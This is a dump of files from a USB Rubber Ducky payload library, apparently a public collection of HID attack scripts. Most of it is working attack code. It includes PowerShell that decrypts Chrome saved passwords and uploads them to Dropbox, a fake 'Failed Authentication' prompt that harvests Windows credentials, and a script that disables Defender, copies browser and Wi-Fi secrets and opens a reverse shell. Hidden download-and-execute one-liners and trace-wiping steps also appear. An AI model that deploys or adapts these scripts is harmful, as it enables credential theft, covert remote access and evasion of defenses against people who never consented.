    "content": "## About:\r\n* Title: Browser-Passwords-Dropbox-Exfiltration\r\n* Description: Opens PowerShell hidden, grabs Chrome passwords, saves as a cleartext file and exfiltrates info via Dropbox.\r\n* Then it cleans up traces of what you have done after.\r\n* AUTHOR: DIYS.py\r\n* Version: 1.0\r\n* Category: Credentials, Exfiltration\r\n* Target: Windows 10\r\n* Attackmodes: HID\r\n\r\n### Features:\r\n* Reasonably stelathy\r\n* Fairly quick\r\n\r\n### Workflow:\r\n* Encoding payload and injecting on target's system.\r\n* Checks Chrome files and obtains the stored browser credentials\r\n* Saves a plaintext file of all of the usernames, passwords, websites \r\n* Deletes the Temp files, recycle bin, Run and PowerShell history\r\n\r\n### Usage Version 01:\r\n1. Follow the instructions on the link enclosed in the PowerShell script to create the correct API access credentials for your Dropbox account.\r\n2. Obtain your Authentication Token and add it to the PowerShell script, upload that script to your dropbox and add the link to it in the payload file.\r\n3. Encode payload.txt and inject into target's system.\r\n4. Check your Dropbox for the files.\r\n\r\n### Possible Issues:\r\n1. AVG detected this was trying to access Chrome info and blocked it from working some of the time.\r\n\r\nDIYSpy on Twitter\r\n"
  },
  {
    "path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/Version 01/Browser-Passwords-Dropbox-Exfiltration.ps1",
    "content": "#########################################################################################################\n#                                                               |                                       #\n# Title        : Browser-Passwords-Dropbox-Exfiltration         |   ____ _____   ______                 #\n# Author       : DIYS.py                                        |  |  _ \\_ _\\ \\ / / ___|  _ __  _   _   #\n# Version      : 1.0                                            |  | | | | | \\ V /\\___ \\ | '_ \\| | | |  #\n# Category     : Credentials, Exfiltration                      |  | |_| | |  | |  ___) || |_) | |_| |  #\n# Target       : Windows 10                                     |  |____/___| |_| |____(_) .__/ \\__, |  #\n# Mode         : HID                                            |                        |_|    |___/   #\n# Props        : I am Jakoby, NULLSESSION0X                     |                                       #\n#                                                               |                                       # \n#########################################################################################################\n\n<#\n.SYNOPSIS\n\tThis script exfiltrates credentials from the browser via Dropbox.\n.DESCRIPTION \n\tCheckes and saves the credentials from the Chrome browser, then connects to Dropbox and uploads\n    the file containing all of the loot.\n.Link\n\thttps://developers.dropbox.com/oauth-guide\t\t# Guide for setting up your DropBox for uploads\n#>\n\n$DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"\n\n$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt\"\n\n#Stage 1 Obtain the credentials from the Chrome browsers User Data folder\n\n#First we Kill Chrome just to be safe\nStop-Process -Name Chrome\n\n$d=Add-Type -A System.Security\n$p='public static'\n$g=\"\"\")]$p extern\"\n$i='[DllImport(\"winsqlite3\",EntryPoint=\"sqlite3_'\n$m=\"[MarshalAs(UnmanagedType.LP\"\n$q='(s,i)'\n$f='(p s,int i)'\n$z=$env:LOCALAPPDATA+'\\Google\\Chrome\\User Data'\n$u=[Security.Cryptography.ProtectedData]\nAdd-Type \"using System.Runtime.InteropServices;using p=System.IntPtr;$p class W{$($i)open$g p O($($m)Str)]string f,out p d);$($i)prepare16_v2$g p P(p d,$($m)WStr)]string l,int n,out p s,p t);$($i)step$g p S(p s);$($i)column_text16$g p C$f;$($i)column_bytes$g int Y$f;$($i)column_blob$g p L$f;$p string T$f{return Marshal.PtrToStringUni(C$q);}$p byte[] B$f{var r=new byte[Y$q];Marshal.Copy(L$q,r,0,Y$q);return r;}}\"\n$s=[W]::O(\"$z\\\\Default\\\\Login Data\",[ref]$d)\n$l=@()\nif($host.Version-like\"7*\"){$b=(gc \"$z\\\\Local State\"|ConvertFrom-Json).os_crypt.encrypted_key\n$x=[Security.Cryptography.AesGcm]::New($u::Unprotect([Convert]::FromBase64String($b)[5..($b.length-1)],$n,0))}$_=[W]::P($d,\"SELECT*FROM logins WHERE blacklisted_by_user=0\",-1,[ref]$s,0)\nfor(;!([W]::S($s)%100)){$l+=[W]::T($s,0),[W]::T($s,3)\n$c=[W]::B($s,5)\ntry{$e=$u::Unprotect($c,$n,0)}catch{if($x){$k=$c.length\n$e=[byte[]]::new($k-31)\n$x.Decrypt($c[3..14],$c[15..($k-17)],$c[($k-16)..($k-1)],$e)}}$l+=($e|%{[char]$_})-join''}\n#After Decrypting the contents of the files, save them to a file in the temp folder.\n\necho $l >> $env:TMP\\$FileName\n\n#Start Chrome again\n\n$pathToChrome = 'C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe'\nStart-Process -FilePath $pathToChrome\n\n#Stage 2 Upload them to Dropbox\n\n<#\n.NOTES \n\tThis is to upload your files to dropbox\n#>\n\n$TargetFilePath=\"/$FileName\"\n$SourceFilePath=\"$env:TMP\\$FileName\"\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\n$authorization = \"Bearer \" + $DropBoxAccessToken\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\n$headers.Add(\"Authorization\", $authorization)\n$headers.Add(\"Dropbox-API-Arg\", $arg)\n$headers.Add(\"Content-Type\", 'application/octet-stream')\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\n\n\n#Stage 3 Cleanup Traces\n\n<#\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\nexit\n"
  },
  {
    "path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/Version 01/payload.txt",
    "content": "REM #########################################################################################################\nREM #                                                               |                                       #\nREM # Title        : Browser-Passwords-Dropbox-Exfiltration         |   ____ _____   ______                 #\nREM # Author       : DIYS.py                                        |  |  _ \\_ _\\ \\ / / ___|  _ __  _   _   #\nREM # Version      : 1.0                                            |  | | | | | \\ V /\\___ \\ | '_ \\| | | |  #\nREM # Category     : Credentials, Exfiltration                      |  | |_| | |  | |  ___) || |_) | |_| |  #\nREM # Target       : Windows 10 (PowerShell + Chrome)               |  |____/___| |_| |____(_) .__/ \\__, |  #\nREM # Mode         : HID                                            |                        |_|    |___/   #\nREM # Props        : I am Jakoby, NULLSESSION0X                     |                                       #\nREM # Description  : Opens PowerShell hidden, grabs Chrome          |                                       #\nREM #                passwords, saves as a cleartext file and       |                                       # \nREM #                exfiltrates info via Dropbox.                  |                                       # \nREM #                Then it cleans up traces of what you have done |                                       # \nREM #                after.                                         |                                       # \nREM #########################################################################################################\n\nATTACKMODE HID\n\nDELAY 3000\nGUI r\nDELAY 250\nSTRINGLN powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://< Your Shared link for the intended file>?dl=1; invoke-expression $pl\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/credentials/Browser-Passwords-Dropbox-Exfiltration/payload.txt",
    "content": "REM #########################################################################################################\nREM #                                                               |                                       #\nREM # Title        : Browser-Passwords-Dropbox-Exfiltration         |   ____ _____   ______                 #\nREM # Author       : DIYS.py                                        |  |  _ \\_ _\\ \\ / / ___|  _ __  _   _   #\nREM # Version      : 1.0                                            |  | | | | | \\ V /\\___ \\ | '_ \\| | | |  #\nREM # Category     : Credentials, Exfiltration                      |  | |_| | |  | |  ___) || |_) | |_| |  #\nREM # Target       : Windows 10                                     |  |____/___| |_| |____(_) .__/ \\__, |  #\nREM # Mode         : HID                                            |                        |_|    |___/   #\nREM # Props        : I am Jakoby, NULLSESSION0X                     |                                       #\nREM #                                                               |                                       # \nREM #########################################################################################################\n\nREM Title: Browser-Passwords-Dropbox-Exfiltration\nREM Author: DIYS.py\nREM Description: Opens PowerShell hidden, grabs Chrome passwords, saves as a cleartext file and exfiltrates info via Dropbox.\nREM              Then it cleans up traces of what you have done after.\nREM Target: Windows 10 (PowerShell + Chrome)\nREM Version: 1.0\nREM Category: Credentials, Exfiltration\n\n\nDELAY 3000\nGUI r\nDELAY 250\nSTRINGLN powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://< Your Shared link for the intended file>?dl=1; invoke-expression $pl\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/credentials/DevilsCupid/README.md",
    "content": "\n![Logo](https://static.vecteezy.com/system/resources/previews/005/308/344/original/devil-cupid-illustration-vector.jpg)\n# The Devil's Cupid\nVersion 1.0  \nLast updated 24/02/2023\n\nThe Devil's Cupid is a Rubber Ducky script that tricks your target into sharing their credentials through a fake authentication pop up message.  \nIt is highly adaptable and leaves no trace. (Thank you Avunit ❤️)\n\n\n## Setup\n\nWhat you'll need:\n- A [Rubber Ducky USB HID Device](https://shop.hak5.org/products/usb-rubber-ducky) (Also works on old gen!)\n- A DropBox account.\n- A [DropBox Access Token](https://help.displayr.com/hc/en-us/articles/360004116315-How-to-Create-an-Access-Token-for-Dropbox#:~:text=Go%20to%20the%20Dropbox%20App,section%20and%20click%20on%20Generate.)\n\n### Step 1\nGo to your [DropBox App Console](https://www.dropbox.com/developers/apps) and click **Create app**.  \n\n![App creation](https://i.imgur.com/KsAChJF.png)  \nConfigure the app as shown above. You can change *Name you app* to whatever you want.  \nAfter you've named your app, click **Create app**.\n\nOnce your app is created, navigate to the **Permissions** tab.  \nYou need to enable:\n- **files.metadata.write**\n- **files.content.write**\n- **files.content.read**\n- **file_requests.write**\n\nAfter making those changes, click **Submit** at teh bottom of the page to apply them.\n\n![Permissions](https://i.imgur.com/5fGB38H.png)\n\nNavigate back to the **Settings** tab.\n\n![Access Token](https://i.imgur.com/H79vVY5.png)\n\nUnder **Generate access token** click **Generate**.  \nYou will get a unique access token. Do not share it with anyone!  \n\n**Copy the token.** You will need it in the next step.\n\n### Step 2\nOpen **devilsCupid.ps1** and edit `$DropBoxAccessToken = \"<YOUR DROPBOX ACCESS TOKEN HERE>\"`.  \nReplace `<YOUR DROPBOX ACCESS TOKEN HERE>` with your token.\n\nFor example, if your access token is `...gwireg3hiu6rg8asasfsads2ad...` it should look like this:  \n`$DropBoxAccessToken = \"...gwireg3hiu6rg8asasfsads2ad...\"`.\n\n**Save the file.**\n\n### Step 2\n\nGo to your DropBox and upload your modified **devilsCupid.ps1** to it.\n\n![DropBox Screenshot](https://i.imgur.com/9GcOXVi.png)\n\nOnce it's done uploading, click **Copy link**.  \nThe link should look something like `https://www.dropbox.com/s/sk10x6okx49kcq9/devilsCupid.ps1?dl=0`.\n\n### Step 3\nOpen **inject.txt**.  \nIt will look like this:\n\n```bash\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr LINK_TO_YOUR_DEVILSCUPID.PS1; invoke-expression $pl\nENTER\n```\n\nReplace **LINK_TO_YOUR_DEVILSCUPID.PS1** with the link you've copied in the previous step.\n\n**VERY IMPORTANT:** Replace the end **dl=0** with **dl=1**.  \nThe modified link should look like `https://www.dropbox.com/s/sk10x6okx49kcq9/devilsCupid.ps1?dl=1`. \n\nThe modified **inject.txt** should look something like this:\n```bash\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://www.dropbox.com/s/sk10x6okx49kcq9/devilsCupid.ps1?dl=1; invoke-expression $pl\nENTER\n```\nSave the changes.\n\n### Step 4\n\nNavigate to [Ducktoolkit.com](https://ducktoolkit.com/encode). Credits to [James Hall](https://twitter.com/411hall) & [Kevin Breen](https://techanarchy.net/) for this awesome tool ❤️\n\n![Duck Toolkit](https://i.imgur.com/ymaeeN7.png)\n\nPaste your modified **inject.txt** code in the Duck Code box.  \nSelect the keyboard layout under *Language* tab.  \nClick **Encode Payload**. \n\nAfter encoding click **Download inject.bin**.\n\nPut the **inject.bin** file on your Rubber Ducky.  \nYou're done!\n"
  },
  {
    "path": "payloads/library/credentials/DevilsCupid/devilsCupid.ps1",
    "content": "############################################################################################################################################################                      \n#\n# _______                       __  __  __                 ______                       __        __ \n#|       \\                     |  \\|  \\|  \\               /      \\                     |  \\      |  \\\n#| $$$$$$$\\  ______  __     __  \\$$| $$| $$_______       |  $$$$$$\\ __    __   ______   \\$$  ____| $$\n#| $$  | $$ /      \\|  \\   /  \\|  \\| $$ \\$/       \\      | $$   \\$$|  \\  |  \\ /      \\ |  \\ /      $$\n#| $$  | $$|  $$$$$$\\\\$$\\ /  $$| $$| $$  |  $$$$$$$      | $$      | $$  | $$|  $$$$$$\\| $$|  $$$$$$$\n#| $$  | $$| $$    $$ \\$$\\  $$ | $$| $$   \\$$    \\       | $$   __ | $$  | $$| $$  | $$| $$| $$  | $$\n#| $$__/ $$| $$$$$$$$  \\$$ $$  | $$| $$   _\\$$$$$$\\      | $$__/  \\| $$__/ $$| $$__/ $$| $$| $$__| $$\n#| $$    $$ \\$$     \\   \\$$$   | $$| $$  |       $$       \\$$    $$ \\$$    $$| $$    $$| $$ \\$$    $$\n# \\$$$$$$$   \\$$$$$$$    \\$     \\$$ \\$$   \\$$$$$$$         \\$$$$$$   \\$$$$$$ | $$$$$$$  \\$$  \\$$$$$$$\n#                                                                            | $$                    \n#                                                                            | $$                    \n#                                                                             \\$$                    \n#                                                                                           By LulzHades\n############################################################################################################################################################\n\n#Version 1.0\n#Last updated 24/02/2023\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n$DropBoxAccessToken = \"<YOUR DROPBOX ACCESS TOKEN HERE>\"\n$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt\"\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<# This is to generate the ui.prompt you will use to harvest their credentials #>\n\nfunction Get-Creds {\ndo{\n$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password\n   if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {\n    #[System.Windows.Forms.MessageBox]::Show(\"Credentials can not be empty!\")\n    [System.Windows.Forms.MessageBox]::Show(\"Credentials can not be empty!\",\"Error\",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Error)\n    Get-Creds\n}\n$creds = $cred.GetNetworkCredential() | fl\nreturn $creds\n  # ...\n\n  $done = $true\n} until ($done)\n\n}\n\n#----------------------------------------------------------------------------------------------------\n\n<# This is to pause the script until a mouse movement is detected #>\n\nfunction Pause-Script{\nAdd-Type -AssemblyName System.Windows.Forms\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n$o=New-Object -ComObject WScript.Shell\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\n}\n\n#----------------------------------------------------------------------------------------------------\n\n# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off \n\nfunction Caps-Off {\nAdd-Type -AssemblyName System.Windows.Forms\n$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')\n\n#If true, toggle CapsLock key, to ensure that the script doesn't fail\nif ($caps -eq $true){\n\n$key = New-Object -ComObject WScript.Shell\n$key.SendKeys('{CapsLock}')\n}\n}\n#----------------------------------------------------------------------------------------------------\n\n<# This is to call the function to pause the script until a mouse movement is detected then activate the pop-up #>\n\nPause-Script\n\nCaps-Off\n\nAdd-Type -AssemblyName System.Windows.Forms\n\n# [System.Windows.Forms.MessageBox]::Show(\"Unusual sign-in. Please reauthenticate your account\")\n[System.Windows.Forms.MessageBox]::Show(\"Please re-authenticate your account!\",\"Account Warning\",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning)\n\n$creds = Get-Creds\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<# This is to save the gathered credentials to a file in the temp directory #>\n\necho $creds >> $env:TMP\\$FileName\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<# This is to upload your files to DropBox #>\n\n$TargetFilePath=\"/$FileName\"\n$SourceFilePath=\"$env:TMP\\$FileName\"\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\n$authorization = \"Bearer \" + $DropBoxAccessToken\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\n$headers.Add(\"Authorization\", $authorization)\n$headers.Add(\"Dropbox-API-Arg\", $arg)\n$headers.Add(\"Content-Type\", 'application/octet-stream')\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<# This is to clean up behind you and remove any evidence to prove you were in the system #>\n\n# Delete contents of Temp folder \nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n"
  },
  {
    "path": "payloads/library/credentials/DevilsCupid/sourceCode.txt",
    "content": "REM Author: Nejc Pirečnik\nREM Devil's Cupid\nREM The Devil's Cupid is a Rubber Ducky script that tricks your target into sharing their credentials through a fake authentication pop up message.\n\nDEFINE #DROPBOX_URL example.com\nREM You must replace the URL end with ?dl=1!\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr #DROPBOX_URL; invoke-expression $pl\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/Duckie-Harvest/README.md",
    "content": "# Duckie-Harvest\n## Overview\n\nThis script is designed for penetration testing purposes and offers the following functionalities:\n\n- **Dump Wi-Fi Passwords**: Extracts and saves all Wi-Fi passwords stored on the target machine.\n- **Dump Browser Credentials**: Extracts saved credentials from Google Chrome, Brave, Firefox, and Microsoft Edge.\n- **System Information**: Collects and dumps comprehensive system information, including network configurations and active processes.\n- **Network Configuration**: Gathers detailed network configuration data and performs a network scan.\n- **Reverse Shell**: Initiates a reverse shell to provide remote command-line access (requires configuration of the attacker IP and attacker port).\n\nThis payload is intended for use with a USB Rubber Ducky device.\n\n## Usage\n\n### Prerequisites\n\n- **USB Rubber Ducky**: Ensure you have a USB Rubber Ducky device.\n- **Powershell**: The target machine must have Powershell installed.\n\n### Configuration\n\n1. **Configure drive name**:\n   edit the powershell script to set the name of your drive\n   \n   ```powershell\n   $DRIVE = 'DUCKY'\n2. **Configure Attacker IP and Port**:\n   Edit the powershell script to set your attacker's IP address and port for the reverse shell connection:\n   \n   ```powershell\n   $IP = 'YOUR_IP'\n   $PORT = 'YOUR_PORT'\n\n3. **Configure drive and powershell script name **:\n   edit the payload.txt to set both the name of the drive label and the powershell script\n\n   ```Duckyscript\n   DEFINE #DUCKY_DRIVER_LABEL DUCKY\n   DEFINE #PS1 sy_cred.ps1\n   \n"
  },
  {
    "path": "payloads/library/credentials/Duckie-Harvest/payload.txt",
    "content": "ATTACKMODE HID STORAGE\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nDEFINE #DUCKY_DRIVER_LABEL DUCKY\nDEFINE #PS1 sy_cred.ps1\n\nIF ($_OS == WINDOWS )THEN\n    \n    DELAY 200\n    REM -----open Powershell as Admin\n    GUI r\n    DELAY 200\n    STRING powershell \n    CTRL-SHIFT ENTER\n    DELAY 400\n    LEFT\n    DELAY 150\n    ENTER\n    DELAY 500\n    STRINGLN_POWERSHELL\n\n    $duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq '#DUCKY_DRIVER_LABEL' }).DeviceID;cd $duckletter\n    Set-MpPreference -DisableRealtimeMonitoring $true\n    Start-Process powershell.exe -ArgumentList \"-NoProfile -WindowStyle Hidden -File #PS1\"  -WindowStyle Hidden\n    exit\n\n    END_STRINGLN\n\n    \n\nEND_IF\n"
  },
  {
    "path": "payloads/library/credentials/Duckie-Harvest/sy_cred.ps1",
    "content": "\n\n#-- Payload configuration --#\n\n$DRIVE = 'DUCKY'          # Drive letter of the USB Rubber Ducky\n$IP = 'YOUR_IP'     # IP address of the attacker machine\n$PORT = 'YOUR_PORT'            # Port to use for the reverse shell\n\n\n# Set destination directory\n\n\n\n$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq $DRIVE }).DeviceID\nSet-Location $duckletter\n\nSet-MpPreference -DisableRealtimeMonitoring $true\nAdd-MpPreference -ExclusionPath \"${duckletter}\\\"\nSet-MpPreference -ExclusionExtension \"ps1\"\n\n$destDir = \"$duckletter\\$env:USERNAME\"\nif (-Not (Test-Path $destDir)) {\n    New-Item -ItemType Directory -Path $destDir\n}\n\n# Function to copy browser files\nfunction CopyBrowserFiles($browserName, $browserDir, $filesToCopy) {\n    $browserDestDir = Join-Path -Path $destDir -ChildPath $browserName\n    if (-Not (Test-Path $browserDestDir)) {\n        New-Item -ItemType Directory -Path $browserDestDir\n    }\n\n    foreach ($file in $filesToCopy) {\n        $source = Join-Path -Path $browserDir -ChildPath $file\n        if (Test-Path $source) {\n            Copy-Item -Path $source -Destination $browserDestDir\n            Write-Host \"$browserName - File copiato: $file\"\n        } else {\n            Write-Host \"$browserName - File non trovato: $file\"\n        }\n    }\n}\n\n# Configuration for Google Chrome\n$chromeDir = \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\"\n$chromeFilesToCopy = @(\"Login Data\")\nCopyBrowserFiles \"Chrome\" $chromeDir $chromeFilesToCopy\nCopy-Item -Path \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Local State\" -Destination (Join-Path -Path $destDir -ChildPath \"Chrome\") -ErrorAction SilentlyContinue\n\n# Configuration for Brave\n$braveDir = \"$env:LOCALAPPDATA\\BraveSoftware\\Brave-Browser\\User Data\\Default\"\n$braveFilesToCopy = @(\"Login Data\")\nCopyBrowserFiles \"Brave\" $braveDir $braveFilesToCopy\nCopy-Item -Path \"$env:LOCALAPPDATA\\BraveSoftware\\Brave-Browser\\User Data\\Local State\" -Destination (Join-Path -Path $destDir -ChildPath \"Brave\") -ErrorAction SilentlyContinue\n\n# Configuration for Firefox\n$firefoxProfileDir = Join-Path -Path $env:APPDATA -ChildPath \"Mozilla\\Firefox\\Profiles\"\n$firefoxProfile = Get-ChildItem -Path $firefoxProfileDir -Filter \"*.default-release\" | Select-Object -First 1\nif ($firefoxProfile) {\n    $firefoxDir = $firefoxProfile.FullName\n    $firefoxFilesToCopy = @(\"logins.json\", \"key4.db\", \"cookies.sqlite\", \"webappsstore.sqlite\", \"places.sqlite\")\n    CopyBrowserFiles \"Firefox\" $firefoxDir $firefoxFilesToCopy\n} else {\n    Write-Host \"Firefox - Nessun profilo trovato.\"\n}\n\n# Configuration for Microsoft Edge\n$edgeDir = \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\"\n$edgeFilesToCopy = @(\"Login Data\")\nCopyBrowserFiles \"Edge\" $edgeDir $edgeFilesToCopy\nCopy-Item -Path \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Local State\" -Destination (Join-Path -Path $destDir -ChildPath \"Edge\") -ErrorAction SilentlyContinue\n\n# Gather additional system information\nfunction GatherSystemInfo {\n    $sysInfoDir = \"$duckletter\\$env:USERNAME\\SystemInfo\"\n    if (-Not (Test-Path $sysInfoDir)) {\n        New-Item -ItemType Directory -Path $sysInfoDir\n    }\n\n    Get-ComputerInfo | Out-File -FilePath \"$sysInfoDir\\computer_info.txt\"\n    Get-Process | Out-File -FilePath \"$sysInfoDir\\process_list.txt\"\n    Get-Service | Out-File -FilePath \"$sysInfoDir\\service_list.txt\"\n    Get-NetIPAddress | Out-File -FilePath \"$sysInfoDir\\network_config.txt\"\n}\n\nGatherSystemInfo\n\n# Network scanning\n\n\n# Retrieve Wi-Fi passwords\nfunction GetWifiPasswords {\n    $wifiProfiles = netsh wlan show profiles | Select-String \"\\s:\\s(.*)$\" | ForEach-Object { $_.Matches[0].Groups[1].Value }\n\n    $results = @()\n\n    foreach ($profile in $wifiProfiles) {\n        $profileDetails = netsh wlan show profile name=\"$profile\" key=clear\n        $keyContent = ($profileDetails | Select-String \"Key Content\\s+:\\s+(.*)$\").Matches.Groups[1].Value\n        $results += [PSCustomObject]@{\n            ProfileName = $profile\n            KeyContent  = $keyContent\n        }\n    }\n\n    $results | Format-Table -AutoSize\n\n    # Save results to a file\n    $results | Out-File -FilePath \"$duckletter\\$env:USERNAME\\WiFi_Details.txt\"\n}\n\nGetWifiPasswords\n\n# Reverse shell\nfunction ReverseShell {\n    param(\n        [string]$ip,\n        [int]$port\n    )\n\n    $client = New-Object System.Net.Sockets.TCPClient($ip, $port)\n    $stream = $client.GetStream()\n    [byte[]]$bytes = 0..65535 | ForEach-Object {0}\n    while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {\n        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)\n        $sendback = (Invoke-Expression $data 2>&1 | Out-String)\n        $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '\n        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)\n        $stream.Write($sendbyte, 0, $sendbyte.Length)\n        $stream.Flush()\n    }\n    $client.Close()\n}\n\nReverseShell -ip $IP -port $PORT\n\n# Re-enable Windows Defender real-time monitoring\nSet-MpPreference -DisableRealtimeMonitoring $false\n\nexit\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger/README.md",
    "content": "## About:\n* Title: DuckyLogger\n* Description: Key logger which sends each and every key stroke of target remotely/locally.\n* AUTHOR: drapl0n\n* Version: 1.0\n* Category: Credentials\n* Target: Unix-like operating systems with systemd.\n* Attackmodes: HID\n\n## DuckyLogger: DuckyLogger is a Key Logger which captures every key stroke of traget and send them to attacker.\n\n### Features:\n* Live keystroke capturing.\n* Detailed key logs.\n* Persistent\n* Autostart payload on boot.\n\n### Workflow:\n* Encoding payload and injecting on target's system.\n* Checks whether internet is connected to the target system. \n* If internet is connected then it sends raw keystrokes to attacker. \n* Attacker processes raw keystrokes. \n\n### Changes to be made in payload:\n* Replace ip(0.0.0.0) and port number(4444) with your servers ip address and port number on line no `43`.\n* Increase/Decrease time interval to restart service periodically (Default is 15 mins), on line no `59`.\n\n### Usage:\n1. Encode payload.txt and inject into target's system.\n2. Start netcat listner on attacking system:\n\n* `nc -lvp <port number> > <log filename>` use this command to create new logfile with raw keystrokes.\n* `nc -lvp <port number> >> <log filename>` use this command to append raw keystrokes to existing logfile.\n3. Process raw keystrokes using DuckyLoggerDecoder utility:\n```\n./duckyLoggerDecoder\nDuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\n\nUsage: \nDecode captured log:    [./duckyLoggerDecoder -f <Logfile> -m <mode> -o <output file>]\n\nOptions:\n-f      Specify Log file.\n-m      Select Mode(normal|informative)\n-o      Specify Output file.\n-h      For this banner.\n```\n\n#### Support me if you like my work:\n* https://twitter.com/drapl0n\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger/duckyLoggerDecoder",
